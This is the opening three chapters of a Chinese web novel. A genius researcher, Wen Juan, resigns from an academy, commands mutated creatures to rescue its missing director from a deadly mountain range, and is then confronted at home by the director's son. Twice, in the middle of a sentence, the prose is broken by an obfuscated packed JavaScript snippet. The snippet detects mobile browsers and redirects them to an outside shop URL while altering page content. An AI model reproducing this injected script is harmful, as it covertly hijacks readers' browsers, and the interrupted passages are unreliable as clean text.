《我不可能是反派大boss》 1. 第 1 章 2077年,7月下旬。 连日放晴的好天气,在今晚忽然急转直下,彻夜大雪纷飞。 热搜上接连爆出好几条关于极端天气变化怪异之处的讨论。 但词条上得快,撤得更快。 相关讨论在短短15分钟内已被屏蔽,关键词“下雪”遭到限流。 很快,网络恢复一片表面的风平浪静。 所有的古怪与耐人寻味之处,都只能小范围地被提及,世界上绝大多数的人,对这一晚的雪毫无察觉,也无从关心。 与此同时。 一只在“还鳞山脉生物变异考察”行动中失联数日的团队,在今夜终于向作战指挥处发回信号,是一条仅有6秒时长的视频。 这支考察队的组成人员十分特殊,其中除了科学院院长陆朝之,更有联盟第一军团少校解子期。 此外,该考察团的其他保卫成员个个战力顶尖,具备丰富的野外作战经验,且全员装备了联盟军部最先进的作战武器。 然而,他们在进入还鳞山后集体失联,生死不明,期间断断续续的联络信息,几乎都是在警告外面的人:不要靠近这里。 尽管考察队主动拒绝救援,联盟也不可能真的放弃。原打算明天一早如果再联系不上他们,就出动大量人手进行救援,却在这时接收到这条视频。 在视频打开以前,大家无疑是松了一口气的。 能接收信号,取得联系,说明考察队至少还有人活着。这样就好办了。 可视频打开的瞬间,众人就齐齐倒抽一口冷气。不少心理承受能力稍低的人已经吐了出来。 画面里没有活人。 未知的生命体在不经意间碰到了这位考察队成员的通讯装置,而刚好在那个时间段,信号竟然被接收成功。 于是指挥中心的所有人都看到了这条仅有6秒的视频—— 变异的野生植株张着血盆大口,在进行了片刻咀嚼后,忽然嫌弃地将一些零碎的衣物吐了出来,随后又吐出了人类坚硬的头骨以及其他不好消化的金属装置。 落在地上的骨头并未就此安歇,它很快被蠕动的地衣包裹,在瞬间融化,随即遭到分食。 镜头后的某种生物发出咯吱咯吱的声音,似乎终于意识到手里的通讯装置不能吃,于是大感遗憾地将东西扔在地上。画面随即黑掉。 短短数秒发生的事情,几乎超出了人类的想象。 此时此刻的指挥处,所有人的面色都很难看。 在失去战友的沉痛之上,更多的,是对还鳞山脉里那些远超认知的变异生物深深的恐惧。 * * “科学院这些年给了你多少超出合理范畴的照顾,你心里应该有数。纵观联盟历史,除了你温倦,还有谁能在25岁的年纪坐到这个位置上?我实在不明白,你到底还有什么不满意的?” 对面的人已经围绕着同一个话题絮絮叨叨了接近半小时,表达的中心思想,无外乎就这么一句:“——你怎么能辞职呢?!” 他情绪上头,语气颇为激动,说话时唇齿过分用力。 温倦眼睁睁看着他的唾液喷出,蹙了蹙眉,毫不掩饰嫌弃的表情,拿出随身携带的纸巾,擦了擦实际上并没有溅到口水的衣服。 “怎么,你很舍不得我?” 温倦声线慵懒,狭长的眼尾瞥过去,颇为嘲讽地说,“我还以为主任你天天在家扎小人诅咒我,恨不得我早日被赶出科学院呢。” 秦焦很是正直地否定了:“扎小人这种离谱的话你也说得出口,我又不迷信。” 温倦哦了一声:“可是你上周注册了一个玄学app,把我的生辰八字挂上面,算了三次我和你是不是天生相克。后来还买了一个专防煞星的护身符天天带在身上……你不迷信?” “你怎么会知道!”秦焦吓了一跳,下意识捂住了胸口的护身符,“你你你,监控我?” 温倦盯着这位年过半百但网瘾很大的秦主任看了会儿,冷飕飕地说了句:“那app是我学生做的。” 秦焦:“……” 秦焦:“怪不得一个塞着石头的破护身符要卖我998!原来是你在背后哄抬物价!” “咳咳,秦主任。”旁边的副主任汤启听不下去了,揉着眉心提醒他,“您不是来和小温聊辞职的事吗?” 秦焦满脑袋都是自己丑态百出被温倦抓了现行的尴尬,哪里还有闲情逸致挽留温倦,气呼呼地说: “他要辞职就辞职,难道这里离了他就转不成了?院长就知道拿他智商高说事,温倦他爸智商也高,结果你看他当年都干了什么事?!哼,所谓有其父必有其子,这小子再不好好管管,迟早要长歪——” “——主任,先喝口水吧,我来,我和小温聊!”汤启赶紧打断他的话,赔笑地看着对面的温倦。 “小温,辞职的事,我觉得你还是再考虑考虑。这事儿我们真做不了决定……要不,你等院长回来亲自跟他说吧?你放心,如果你确实对研究没有兴趣,院长肯定不会强迫你。你聪明又好学,不管去哪儿都会有很好的发展,院长说不定还能给你引荐到更适合你的地方去呢。” 汤启这人,向来八面玲珑,说话找不出一点错来,对谁都笑脸相迎。 按理说,这番话甩出来,一般人都不好意思再说什么,只能先顺着台阶下,然后等着能做主的院长回来。 但温倦毕竟不是一般人。 他抱着手臂,微微抬着下巴,以一种几乎算得上是傲慢的眼神睨着对面两人:“如果院长回不来呢。” 话音落地,秦焦和汤启皆是一愣。 一个月前,院长接到联盟通知,请他前往某市开一场紧急会议。之后就再没回来。 院长出差是常事,最初没人多想。 直到今天上午,副院长叶翀突然收到消息,这才知道,原来院长是在联盟的安排下,和其他几个合作国的专家一起,组建了一个临时考察团,并在军部少校带领的特战队的保护下,前往了还鳞山脉。一直失联至今,生死不明。 联盟告知副院长这件事,暗示他,院长大概是回不来了,希望他能在这段时间安排好科学院里的工作,不要引起恐慌。 叶翀立刻叫上科学院的高层开会,温倦本来不在其中,但他不知怎么也得知了院长失联的消息,就这么众目睽睽之下硬闯会议室,啪的扔下一封格式不标准的辞职信,说: “我不干了。” 院长前脚刚失联,他后脚就请辞,难免让人觉得他无情无义。 温倦是院长亲自招进来的人,能力是有目共睹的,但就是年轻气盛性格孤傲,平日里和谁都不亲近,所以他请辞,一时之间竟然没什么人挽留。除了秦焦。 秦焦向来和温倦不对付,但说来也怪,一听说温倦要走,他反而第一个急了,拉着汤启就来劝温倦。 只是他没想到,温倦竟然说出这种话。 “什么叫回不来?!你咒谁呢!” 一听这话,秦焦当场就变了脸色,哆哆嗦嗦指着温倦开吵:“你这人简直没心没肺,要不是当初院长力排众议悉心栽培你,你能有今天?现在院长失联,你却冷眼旁观,实在叫人寒心!院长养你十年,比你亲生父亲跟你在一起的时间都长,他生死不明,你却毫不在意,院长要是知道了,岂能不痛心!” 温倦听得直打哈欠:“主任你也不年轻了,情绪总这么不稳定,动不动就寒心痛心,我听得倒有些担心。实在不行就去医院看看吧,成天找我吵架也不是办法。” 秦焦脸腾的一红,气得脑门冒烟:“你才应该去医院看看,你这人严重缺乏同理心,毫无道德,没有感情,没有良心,白眼狼,冷血!” “嗯嗯嗯。”温倦站起身,一副兴致缺缺的样子,“您热血,建议您去山里把院长找回来。我将代表科学院所有人感谢您。” 秦焦张了张嘴,被憋得半天说不出话。 汤启在旁边扶着他猛掐人中:“主任,主任你顺顺气,冷静冷静,咱不和孩子生气啊。” 温倦仿佛事不关己,就这样离开。 他的背影清瘦得有些可怜,但步态却随性又洒脱。 诚如秦焦所说,看着颇有些没良心。 直到他走出两人的视线范围,汤启叹了一声气,问秦焦:“……他就这么走了,我们要报告一下吗?” 秦焦还在记恨温倦卖给他的假护身符,怒火冲冲地取下来,一看到上面写的“煞星远离”就来气。 听到汤启的话,他啪的一声把护身符拍在桌上,反问:“跟谁报告?叶翀又不是不知道温倦辞职。” 汤启提醒道:“叶副院对当年的事不清楚,咱们是不是应该跟上面交代……” “温倦是科学院的人,要管也是院长来管,你还要跟谁交代?”秦焦瞪着眼说,“平时怎么没觉得你这么闲!” 汤启愁眉苦脸地看着他:“好吧,我以为温倦辞职可能是有什么别的打算……可能是我想多了。” “你当然想多了!”秦焦也不知是自信笃定,还是虚张声势,音量拔高了些,道,“小孩儿叛逆期都这样。” 汤启:“……” 25岁的叛逆期吗? 那确实很叛逆了。 * 还鳞山一带,在近几年几乎成了人类禁区。 动物有趋利避害的天性,更何况是如此聪明的人类。当发现一个地方有危险时,慢慢就会远离它。 所以温倦很不理解,院长为什么会突然进这片山考察。 追究起来,是联盟安排的任务。所以联盟为什么对还鳞山突然有了兴趣? 一阵夜风袭来,颇有些强劲,温倦被吹得一踉跄,差点摔了。他伸手扶了扶旁边的树干,推了推眼镜。 即便在艳阳高照的青天白日,这片山林都显得阴森可怖,更何况是月黑风高的夜里。 猎猎冷风中,植物枝叶摇摆的影子像极了地狱里的魑魅魍魉。 温倦并未感到丝毫惧意,站稳后,走进了山林中。 他连手电筒都没带,全凭月色带来的一点昏暗视野往前走。 树林中时不时传来陌生禽类的叫声,像恐怖片里营造氛围的背景音。 常人要是身处这种环境,早已吓得腿软,但温倦还好。 擦啦啦的声音陡然响起,灌木丛中忽然窜出一道极速的影子,还没分辨出是什么,温倦的脚已经被缠住。 他低头,看了一眼。 一条通体漆黑的蛇绕着他的裤脚,朝他愉快地吐着信子。 这蛇和一般的蛇大为不同,它看起来只有手指粗细,但很长,目测有十余米长。 它的鳞片可以竖起来作为武器,尖锐如刺,戳破猎物皮肤时,会释放毒液,能在短短几秒钟内,将猎物的骨头融化,方便它吞吃。 最为特殊的是,这条蛇,首尾都长着头。 变异种。 “来。” 温倦朝它伸出手。 黑蛇听话地将小半截身子缠了上去,鳞片乖顺地蛰伏,没有攻击意图。 尾端的脑袋似乎也很想要缠上来,蠢蠢欲动地在温倦腰间盘起来。 温倦捏开蛇的下颌骨看了一眼,确认它在短时间内应该没有吃过任何活物,才说:“帮我找人。” 黑蛇迷茫地吐了吐信子。 温倦:“最近进山的人,见过吗?” “嘶嘶嘶。” 虽然温倦听不懂蛇说话,但看它这副智障的样子,大约是没见过了。 他把失去利用价值的蛇丢到一边。 “谁见过。”他在黑暗中这样问。 下一刻,原本静谧难测的山林瞬间热闹起来。 旁边窜出来一只足有两米高的松鼠,树上掉下来一只比人脑袋还大且背上长眼睛的白蜘蛛,空中盘旋而下的一只长着蝙蝠翼的变色龙…… 总之,眨眼功夫,温倦身边已经聚集了无数只还鳞山的变异生物。 当然还有一些植物。 只是大多植物的根系还被牢牢锁在地底,只能倔强地伸出藤蔓试图靠近温倦。 其中一条藤蔓亲昵地想和温倦贴贴,被温倦一巴掌扇回去了。 “没长腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854384|191613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的来干什么。”温倦说。 藤蔓遗憾退场。 “带我找人。” 一大批变异动物浩浩荡荡带着温倦前往目的地。 于是接下来的几个小时里,温倦在一片沼泽地发现了几片沾染血腥和内脏碎屑的衣服,在树上找到了被啃得干干净净的人类头骨,又在灌木丛中发现了几颗牙齿,最后在一个幽深山洞里看到了一滩已经不知道是什么东西的肉泥。 温倦脸上表情看着很平静,然而已经吐了一路。 他来之前不是没有做过心理准备,但还是受到了不小的冲击。 他逼迫自己去辨认这些残骸,唯一的目的,只是想确认他们的身份。 可惜这些“尸体”绝大部分已经不完整,温倦很难保证,他刚才看过的那堆肉泥里,是否也包含了院长的一部分。 再次找到几根骨头以后,温倦实在吐得受不了了。 他不得不承认,如果院长真的死了,那就算找到他的某一部分,似乎也没有意义。 他只好冷着脸,对给他带路的一众变异种提出了一个新要求:“活的,有没有。” 所有动物都退缩了。 这说明,它们没见过活人。 至少此时此刻,除了温倦,山里已经没有活人。 “一个……都没有吗?” 温倦本就没有血气的脸色更加苍白。 这时,一根细长的藤蔓伸到他手边,小心翼翼地戳了戳他的手背。 温倦看过去。 没有五官表情的藤蔓用它抖动的叶子表达着它的激动。 它又伸出另一条藤蔓来比划。 温倦带着一些怀疑:“你知道哪里有活人?” 藤蔓比出一个爱心。 温倦:“……” “带路。” 半小时后,耗尽体力的温倦在藤蔓的搀扶下,终于在溪水附近,找到了躺在地上的两个人。 这条藤蔓竟然能带着他走这么远的路,它的根系必然也十分茁壮,遍布这片山林。 不过温倦没有功夫去研究藤蔓的生长,他打开手机电筒,借着光线看清了地上的人。 坏消息,两人中的其中一个,看起来已经离死不远了。 这个人身上没有一处完好,几乎可以说到处都是致命伤。他的半边身子都被某种不明生物啃食,内脏流了一地,颅骨也有明显凹陷,显然是从高处坠落过。 但好消息是,两个人中的另一个,是科学院院长陆朝之。 没有死。 温倦悄然松了一口气。 他走近后蹲下来,想摸一摸两人是否还有心跳呼吸,但伸出去的手却好像被什么无形的东西给挡了一下。 温倦愣住,有些好奇又有些警觉地戳了一下。 果然有东西! 院长和旁边的男人身上被某种透明的罩子给盖住了,这或许是他们到现在,还没有被变异生物生吞活剥的唯一原因。 但这透明的盖子是怎么出现的,为什么保护这两人,温倦并不清楚。 就在温倦试图寻找突破口时,一只手忽然抓住了他的手腕。 老实说,他被吓了一跳。缓了好一会儿,才敢低头去看。 抓住他的,是院长旁边的男人,但对方没有睁眼,想来已是强弩之末。感知到有活物靠近,这人身体条件反射一般地制止了温倦的动作——责任感倒是很强,都快死了还惦记着要保护自己的任务目标。 温倦把他的手指扒开后,盖住两人的透明“盖子”也消失了。 他检查了一下,两人都还有呼吸,院长虽然受了伤,但不致命,只是…… 旁边那个人无论怎么看,都活不了了。 不仅五脏六腑和四肢严重损毁,皮肤也已经滚烫到足以把自己烧死的地步。能活到现在也是奇迹。 温倦看了他一眼,终究有些不忍。 他划破自己的手指,挤出了一滴血,放到男人的嘴边。 温倦其实并不能保证这样做会带来什么结果,他对他自己身体的研究显然还不足够。 只是这男人命悬一线,再怎么也不会比现在更糟了。所以姑且一试。 温倦的血引起了山林中大量变异生物的蠢蠢欲动。 周围出现了一些令人不安的躁动。 身后的藤蔓,忽然凶残地生长起来,它挥舞着卷须,见者有份地给每一个觊觎温倦血液的家伙来了一鞭子,最后将它们全都赶走。 温倦喂了两滴血后,转头看了看似乎在“保护”他的藤蔓。 变异生物没有自我意识,没有道德情感。它可不是因为善良才帮助温倦。 它只是为了讨好,更甚者,也许是想独自享用美食。 温倦既然敢让它带路,自然也做了心理准备,他朝藤蔓勾勾手。藤蔓咻的一下缠上他的胳膊,裹住温倦指腹的伤口,开怀畅饮。 由于吸得太过用力,温倦感到疼,蹙了蹙眉:“轻点,想死吗。” 藤蔓叶子一抖,瞬间放慢进食速度。 温倦不可能放任它一直吸食,心里默数了几秒钟后,将它甩开,并命令道:“把这两个人抬下山。” 温倦的血,对所有变异生物来说都是能量巨大的养料,血液能催化变异种的进化,使它们更加强大。 但同时,得到血液的变异种,也会对温倦产生一种服从意识,心甘情愿受他支配——虽然不管喝不喝他的血,这些变异种应该都会很乐意帮他的忙。 藤蔓殷勤地卷住两个成年男人,跟着温倦屁颠屁颠下山去了。 - 指挥中心在凌晨四点左右,忽然接收到了来自失联已久的考察队的信号。 “这是……?好像收到……信号了!等等,是两条——” “别激动,说清楚。” “报告首长!收到来自还鳞山的求救信息,信号源分别是解子期少校和陆朝之院长!暂时无法连接通讯,但定位显示,他们已经走出了还鳞山!” “太好了,太好了——” “立刻实施救援,快!” - 2. 第 2 章 温倦回到家已经是次日傍晚。 还鳞山距离温倦所在的城市,有将近两千公里的距离,由于是真正的荒山野岭,未经任何商业开发,没有交通工具可以直达。 温倦去这一趟,把飞机火车大巴都坐遍了,还在距离还鳞山两百里外的乡道上,蹭坐了一路拖拉机,最后又徒步走了两个多小时才进的山。 他把院长两人放到山脚安全处,用他们的通讯器发送了求救信号,自己就挥挥衣袖离开了。没留下任何属于他的踪迹。 想来也不会有人猜想,他一个远在两千公里外,极不合群又已经辞职的科学院研究员,会与失联已久的考察队扯上关系。 尽管两个昏迷不醒的人,突然安全地出现在山脚,颇为离奇。但再怎么也查不到温倦头上。 从车上下来的时候,温倦整个人都精疲力尽,算算时间,他有近三十个小时没合眼。 他脚步虚浮地走进小区。 保安大爷看到他,伸个头出来和他打招呼:“温老师,今天下班挺早。” 温倦没有回答,只是对他点了点头,然后径直走进去。 这不是一个礼貌的回应,但温倦对所有人都这样爱答不理,傲慢疏离目中无人是他一直以来的对外形象。 他不会因为别人的热情就回馈相应的善意,他只会平等地拒绝一切攀谈,我行我素,独来独往。 其实这样的性格应该是有些招人厌的,但架不住温倦光环在身,总有人愿意靠近。 十五岁上大学,十八岁当博士,二十岁进科学院,同时还在全世界数一数二的好大学里授课。 这些过往履历说出来,总是能随机俘获一批崇拜者。 他们其实完全不了解温倦,但也不重要。 光是天才的头衔,就足够让人们对这个人产生疯狂的好奇和多余的关注。 恰好这个天才还孤苦伶仃,独自一人生活在老旧的小区里,无父无母也没朋友,跟谁说话都冷淡,不易接近,很难讨好。 于是久而久之,温倦就成了远亲近邻们眼中神秘而清高的存在。 纵使他有些无伤大雅的缺点,也会被大家合理化:他都是天才了,他冷淡怎么了?不爱打招呼怎么了? 老天给他开了那么多扇门,偶尔也需要关关窗嘛。 所以,被温倦冷漠对待的保安大爷,丝毫没有受挫,哼哼着歌目送着温倦走进了单元楼。 他的初衷恐怕也不是想和温倦攀谈,反而是带着一种近乎怜悯的心情,想让没有朋友也没有家人的温倦,感受到来自街坊邻居的关爱。至于温倦本人到底需不需要这种同情的关爱,他倒不在乎。 温倦头重脚轻地爬楼。 他住在六层,离家还有好远好远的距离…… 好想睡觉。 温倦几乎要就地昏迷。 他在这个老小区里住了快七年了,今天是头一次感到有些后悔。 他应该要住在一个有电梯的公寓。 温倦严重缺乏锻炼,身体素质极差,加上他本来就已经很累了,这会儿才爬两层楼就已经体力不支,扶着墙直喘气。 他现在并没有经济上的压力,就算辞掉了科学院的工作,买房的积蓄也是有的。 之所以迟迟没有搬家,无非就是住惯了这里,一时半会儿不想改变熟悉的居住环境。 温倦睡觉认床,吃饭认碗,用一个东西久了总舍不得换,因此适应新环境对他来说也有困难。 他当初从陆家搬出来,独自住进这个房子,第一年的时候几乎天天失眠,需要借助药物强制入睡。花了很长时间,他逐渐接受了这里是他以后的家,于是潜意识里就认定了这里是安全的。 如果现在要搬家,相当于又要把他从安全地带拽出来。还不知道得再花多长时间去适应。 他觉得很麻烦。 就在温倦打算继续往上爬的时候,从楼上忽然传来急促的脚步声。 紧接着,温倦眼前压过来一道黑影。 下一刻,温倦就被卷入了黑影之中,像被什么东西死死勒住一样,险些窒息。 他的瞌睡瞬间吓醒,以为变异生物已经出现在城市中,于是用力拉扯着这道来历不明又凶巴巴困住他的黑影。 扯了半天,温倦的脑子终于从困顿中清醒,回过神来。 嗯? 这手感好像是个人? 温倦努力挣了挣,转头看了一眼,瞬间表情空白:“怎么是你?” 一个无论如何都不该出现在这里的家伙。 这比秦焦突然找上门要和温倦谈人生理想还要不合理。 “温倦……” 陆亦哉双眼被血丝缠满,显出几乎可怖的猩红,但表情却是一种受到伤害般的委屈,眉眼耷拉地看着温倦。 简简单单两个字,他却似乎叫得很艰难,声音哑得像被刀割过千万遍,血淋淋地从喉咙里涌出来。要了他命似的。 温倦有点不高兴被比他小五岁的陆亦哉叫全名,他打算纠正对方,仔细看却错愕地发现,向来朝气蓬勃青春洋溢的陆亦哉,此刻看起来竟然狼狈落魄。 于是怔了怔,忘了自己要说什么。 陆亦哉是科学院院长陆朝之的儿子,换句话说,曾经有十年的时间,他算是温倦的半个弟弟。 但自从搬出陆家,温倦和陆亦哉已经很多年没有联系了——没有正面的,主动的联系。 陆亦哉是个完全没有脱离叛逆期的小孩,少年时的仇要记一辈子。 每次他见到温倦,就鼻子不是鼻子眼睛不是眼睛,浑身上下写满了找茬二字,擦肩而过时会十分做作且浮夸地“哼”一声,以示自己和温倦之间是敌对关系。 而温倦从来当他不存在,更不可能理他。 但毕竟,陆亦哉的父亲是科学院院长,而温倦又在科学院里工作,陆亦哉每次去找父亲,就会恰巧和温倦偶遇。 同时,陆亦哉又是联盟大学的大二学生,曾运气很不好地、不小心地、错误地连续两年都选到了温倦的课。 于是不得不走进温倦的课堂,被迫地与温倦待在同一个空间里,时不时对视一眼,再很不情不愿地挪开视线。 总而言之,两人现在的关系可以说并不太好。 温倦想不明白陆亦哉今天为何会出现在这里,而且……他的状态看起来很不好。 在他发呆的刹那,陆亦哉抱他的动作更用力了。 温倦疼得一抽气,思绪被唤回,推了他一把:“你干什么,松手!” 陆亦哉感受到怀里人的抗拒与不满,松了一点力气,还是不肯放开。 像是为了确认什么似的,盯着温倦死死看了好一会儿,直到眼睛发酸发疼,才缓缓眨了眨眼,轻声说:“我等了你好久。” 他神经质地露出个不合时宜的笑来,向温倦强调,“……真的等了很久。” 温倦总觉得今天的陆亦哉让他感到有点不安,但又不愿意表现出关心,口是心非之下便说了刻薄的话: “谁让你等了?这么闲不如去图书馆多看几本书,把脑子里的水挤出来。省得一天到晚没事找事。” 他说完就有点后悔,意识到自己其实根本没有批评陆亦哉的道理。 正常人应该先问陆亦哉为什么等他,又或者关心一下陆亦哉等了多久。 即便两个人关系再不好,温倦也大可以冷眼相待,保持沉默。 而不是每次都故意说一些伤人的话,来维持他不近人情的形象。 奇怪的是,陆亦哉好像没觉得受伤。 他被温倦教训了两句,心情却变好了,躬下身子,额头抵着温倦的肩,闷声闷气地笑了起来。 这下,温倦基本可以确定,陆亦哉没出什么大事,就是脑子有问题。 他果断提膝,重重抵在陆亦哉大腿,想趁陆亦哉吃痛的时候把人推开。 谁知道陆亦哉跟石头做的一样,身体硬邦邦的,被偷袭也没反应,依旧稳稳杵在那儿。 温倦不打算以自己这副严重体力透支的身体,去对抗陆亦哉的浑身肌肉,他冷冰冰地说:“我不知道你在发什么疯,我很累,现在要回去休息,你最好——啊!” 温倦身体突然腾空。 他被陆亦哉抱了起来。 “你放我下来,陆亦哉你到底什么毛病?”身体失衡,温倦下意识搂住陆亦哉的脖子。 “送你回去休息。” 陆亦哉就这样将温倦抱在怀里,长腿一迈就是两步台阶,轻轻松松爬到六楼。 期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854385|191613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,温倦赏了他五道指印三个巴掌兼一个头槌,分别在他的脖子脑袋和下巴处留下军功章。 陆亦哉没有抱怨一声,也仿佛不觉得疼。 在家门口,他将温倦放下。 温倦像看神经病一样剜了他一眼,匆忙地打开门,进去以后快速关门—— 没来得及。 陆亦哉一只手扣住了门把,侧身从门缝挤了进去。 温倦从没觉得陆亦哉这么难缠过。 这小孩儿好像突然变了个人似的,从一只闹别扭的小狗变成了某种侵略性极强的兽类。 他警惕地看着陆亦哉:“你想干什么?入室杀人?” 陆亦哉的表情比想象中温驯乖顺。 他几乎低眉顺眼地站在那儿,宽阔的肩收敛地耷拉着,尽可能削弱自己高大身形带来的压迫感,轻声叫温倦:“哥……” “谁是你哥,不许乱叫。”温倦的反应很大,就像被踩了尾巴的猫似的,他踢了陆亦哉一脚,不轻不重的,但态度坚决,“不要再往里面挤,滚出去。” “老师。” 陆亦哉换了一个不惹他生气的叫法,但人还是死死焊在原地不动,反手关上了门,他问温倦,“老师,你的袖子上有血。今天去哪里了?” 温倦脱口而出:“关你什么事——” 然后他顿住。 袖子上的血,多半是在救院长的时候沾上的。 这提醒了温倦一件事:陆亦哉也许是因为院长失踪的事情,才来找他的。 院长这趟出差,走了一个月,保密措施做得很好,陆亦哉虽然是他亲儿子,但多半也不知道发生了什么。 直到两天前,联盟才通知科学院,说院长已经失联很久。即便出动救援,恐怕也希望渺茫。 温倦推测,陆亦哉应该也是在那时候,得到了消息。 温倦在得知院长出事后,第一时间就赶去了还鳞山,万幸的是,院长还活着。 可是对陆亦哉和科学院的人来说,他们并不知道温倦救了人,他们都认为院长凶多吉少。 这样就说得通了。 虽然陆亦哉已经成年,但到底还是个不成熟的小孩,得知父亲失联,生死不明,一定会害怕,担心,慌不择路。 而温倦大概是他唯一可以依靠的人。 “……”到嘴的刻薄忽然被咽了下去,温倦无法对一个险些失去父亲的人说太重的话。 他错开陆亦哉的视线,一言不发转过身,换了鞋,走进了屋子。 这算是一种默许,恩准陆亦哉走进他的家。 陆亦哉也很识时务,抓住机会,跨过了温倦设下的安全防线。 他没找到适合自己的拖鞋,就光着脚,跟在温倦身后。 温倦没有说自己去了哪里,陆亦哉也不追问。这让温倦松了一口气。 但很快,温倦又有点后悔把人放了进来。 陆亦哉像个背后灵一样跟着他,甩都甩不掉。 温倦一回头,猝不及防就撞上了硬邦邦的肉墙,他盯着眼前鼓鼓囊囊的胸肌嫌弃得要命,连手都不愿意伸,直接拿脑袋把陆亦哉顶开:“别挡路。” 陆亦哉乖乖地哦了一声,让出位置给温倦走。 温倦拿了换洗衣服,走进浴室,然后惊讶地发现,陆亦哉也跟了进来。 他匪夷所思地看着陆亦哉:“你脑袋坏掉了吗?” 陆亦哉眨了眨眼,眼里的血丝已经退了大半,他老实巴交地说:“我也不知道,我好像真的生病了。” “有病就去治,别妨碍我洗澡。”温倦赶人。 陆亦哉也不是不能强势逗留,但以他对温倦的了解,在不被允许的情况下观看温倦洗澡,极有可能造成一桩血案。 陆亦哉依依不舍地被踹出了浴室,像条惨遭遗弃的流浪狗似的,痴痴守在主人门口,贴着门缝偷偷嗅闻着熟悉的气息。 失而复得的莫大兴奋被一种小心翼翼的惶恐所淹没,陆亦哉怕下一秒惊醒,发现眼前一切都是梦—— 突然,砰的一声。 一只拖鞋砸在门背后。 浴室里面传来温倦气呼呼的骂声: “陆亦哉你是不是变态,不要趴在门外偷看,给我滚啊!” - 3. 第 3 章 浴室里热汽升腾。 温倦被水雾包裹着,只觉得四肢重得像灌了铅,头一阵一阵的痛。 只要前一天晚上没睡好,他就会头疼,已经是老毛病。 在热水冲淋之下,温倦一度睁不开眼,险些把洗发水和沐浴露拿错,等艰难地把泡沫冲洗掉的时候,他离站着睡着只差临门一脚。 早知如此,他从还鳞山出来的时候,就该找个距离最近的城市先歇一脚。 当然也只能这么想想。 再给温倦一次机会,他还是会一刻不停舟车劳顿地赶回家。 因为在外面他根本睡不着。 两年前有一次,温倦跟着院长去外地出席一场活动。 主办方给他们安排了当地最高规格的豪华酒店,环境比温倦现在这套老破小舒适得多,但他愣是失眠了一整夜。 第二天,温倦冷沉着一张脸上台演讲,明明是分享研究成果,语气却严肃得像是在宣布某种噩耗,台下来宾鼓掌时,他感到一阵耳鸣,皱着眉毛就下台了。给不少人都留下了一种“这人性格很糟糕很不好惹”的初印象。 当天活动结束后,温倦拒绝了一切应酬与宴请,不合群地独自离席,自己买了机票回家睡大觉。 原本院长有意将温倦引荐给联盟某位地位非凡的大人物,可是看到温倦脸上那副“生人勿近熟人更是滚开”的表情,只能作罢,眼睁睁看他离开。 所有人都当这个年轻人傲慢无礼,殊不知温倦当时真的只是因为没睡好,头疼难受,脸上冷漠的表情也不是因为不耐烦,而是在忍痛。 就像现在。 温倦已经不知道自己究竟是困懵了,还是头疼造成的副作用,他眼前一阵阵地发黑,随时都有一种要昏过去的感觉。 强撑着最后一口气,冲洗掉了身上的泡沫。关上水的刹那,温倦突然感觉腿发软,还没来得及找一个着力点,整个人就砰的一声摔倒在地。 倒下的那一刻,温倦的意识是清醒的,但手脚完全动不了,就像自己的身体已经不属于自己。这种感觉似曾相识。 他竟然没来由地想,如果今天就死在这儿,是不是也是好事一件? 要说不甘心当然也有,人生在世哪有了无遗憾的。 但死了就不用这么累,不必总在担心还未发生的事,一了百了,似乎也好。 然而世事总不如他所愿。 温倦跌倒在地前后还不到三秒,浴室门陡然从外面被推开。 温倦一惊,没反应过来家里还有人在,他脑子嗡嗡作响,艰难地撩起眼皮,只看到自己破碎的浴室门。迷茫中不由生出了几分愤怒,很想怒斥这个踹门的家伙,有没有素质,有没有道德,知不知道他这扇门跟了他多少年了! 然而他只是张了张嘴,一个字都没说出来。 很快,他听到了陆亦哉的声音,像隔着一层浸了水的海绵一般,混沌不清:“老师,老师……温倦?!” 大胆,竟敢直呼全名,没礼貌的青春期小屁孩。 温倦在脑子里这么想着。 他的视线逐渐收窄,最终再次闭上了眼,下一刻身体变得轻飘飘,他知道,他又一次被陆亦哉抱起来。 这种感觉有些奇怪。 明明在几个月前,他和陆亦哉在科学院里偶遇时,陆亦哉给他的感觉仍然是一个把所有情绪都夸张地写在脸上的别扭小孩。 但今天的陆亦哉和“别扭”扯不上半点关系。 温倦隐约觉得陆亦哉脸皮变得比过去厚了,他似乎不再和温倦置气过往的事,并且很坦诚地流露出他对温倦的依赖。 这一切变化,大概都是因为他父亲的失踪。温倦明白。 他知道失去家人是什么感觉,即便陆亦哉并没有真的失去,但这种惶惶不安的恐惧足够改变一个人。 但除此之外,温倦还是觉得奇怪。 他仔细想了想,这种奇怪的感觉也可能来源于记忆的倒错—— 以前的陆亦哉是不可能这样抱起他的。因为温倦记忆中的陆亦哉,仍然是小孩。 或许现在看来,大五岁也并不是什么太大的差距。 但小孩在成长过程中,一天一个样,差一两岁就是天差地别。 更何况,温倦上高中的时候,陆亦哉还是个屁颠屁颠的小学生。 陆亦哉向来把温倦当哥哥,哥哥就是除了爸爸以外的家长,是避风港。 他小时候干什么都要温倦陪,走路要温倦牵手,出去玩累了要温倦背,睡觉前要钻进温倦的怀里让温倦哄他睡觉——这一点,一直到他快十岁了,才在陆朝之的批评之下被改正。 陆亦哉总是像幼鸟一样,习惯性地去寻求年长者羽翼的庇护。而温倦也似乎习惯了将陆亦哉视为弱小的幼崽,他承担着庇护小崽子的责任。 